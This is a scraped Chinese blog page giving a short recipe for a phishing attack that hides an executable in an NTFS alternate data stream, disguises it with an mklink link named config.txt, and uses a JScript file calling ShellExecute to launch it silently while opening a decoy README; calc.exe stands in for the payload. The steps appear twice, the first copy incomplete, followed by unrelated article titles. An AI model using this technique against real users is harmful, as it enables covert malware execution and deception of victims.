使用文件流ADS 及 JavaScript 进行钓鱼攻击
来源:互联网 发布:百度网盘会员充值淘宝 编辑:程序博客网 时间:2024/04/29 02:56
1.创建一个txt文件,test.txt,随便添加内容(实际的工具,即用户要用的那个工具)。
2.将程序写入文件流(此处用calc.exe)
3.使用mklink创建文件链接:
mklink config.txt test.txt:calc.exe
4.创建readme.txt,文件内容随便。设置为隐藏。
5.创建readme.js,内容如下:
执行readme.js,运行calc.exe
2.将程序写入文件流(此处用calc.exe)
type calc.exe > test.txt:calc.exe
3.使用mklink创建文件链接:
mklink config.txt test.txt:calc.exe
4.创建readme.txt,文件内容随便。设置为隐藏。
5.创建readme.js,内容如下:
var objShell = new ActiveXObject("shell.application");
objShell.ShellExecute("cmd.exe", "/c config.txt", "", "open", 0);
objShell.ShellExecute("README.txt", "", "", "open", 1);
执行readme.js,运行calc.exe
0 0
- 使用文件流ADS 及 JavaScript 进行钓鱼攻击
- 预防社会工程学攻击及钓鱼攻击
- 网络钓鱼攻击使用HTTPS攻击受害者
- 网络钓鱼攻击使用HTTPS攻击受害者
- 移动网络钓鱼攻击多重陷阱 盗取网银登入数据及身份文件
- 钓鱼攻击
- 通过伪AP进行DHCP+DNS劫持的钓鱼攻击
- ADS流文件
- [转]ADS流文件
- 网络钓鱼攻击
- ADS:JavaScript
- ADS映像文件及地址映射分析
- ARM启动代码及ADS基本使用
- 2440 ADS的配置使用及调试
- 2440 ADS的配置使用及调试
- 2440 ADS的配置使用及调试
- ADS 开发环境的建立及使用
- 2440:ADS的配置使用及调试
- 字符串处理之字符串流的创建
- 设置应用栏(Setting Up the App Bar)
- C++实践参考:数组作数据成员
- 每天一个设计模式之装饰者模式
- QUSTOJ 1713 线段树
- 使用文件流ADS 及 JavaScript 进行钓鱼攻击
- request.setAttribute()的用法
- 剑指offer 面试题5:从尾到头打印链表 题解
- 基础_1 2016.4.16
- C语语言位与位或位异或在操作寄存器时的特殊作用学习
- 【数据库】Oracle数据库----对象视图
- Download the android source from china mirrors
- Python 练习实例20
- HDU3255 Farming(线段树+扫描线)